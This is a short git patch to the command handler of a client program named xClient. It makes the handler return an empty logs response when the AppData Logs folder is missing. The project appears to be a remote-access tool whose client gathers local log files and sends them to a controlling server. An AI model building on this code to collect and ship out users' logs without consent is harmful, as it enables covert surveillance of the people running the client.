From 6b624ea9ec6d5a33d940f9e24a2332caece534f4 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 4 May 2015 18:28:14 +0200 Subject: [PATCH] Improved behaviour when log directory doesn't exist --- Client/Core/Commands/CommandHandler.cs | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/Client/Core/Commands/CommandHandler.cs b/Client/Core/Commands/CommandHandler.cs index 6cccdf80..2da30a86 100644 --- a/Client/Core/Commands/CommandHandler.cs +++ b/Client/Core/Commands/CommandHandler.cs @@ -384,6 +384,12 @@ namespace xClient.Core.Commands int index = 1; string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Logs\\"; + if (!Directory.Exists(path)) + { + new Packets.ClientPackets.GetLogsResponse("", new byte[0], -1, -1, "", index, 0).Execute(client); + return; + } + FileInfo[] iFiles = new DirectoryInfo(path).GetFiles(); if (iFiles.Length == 0)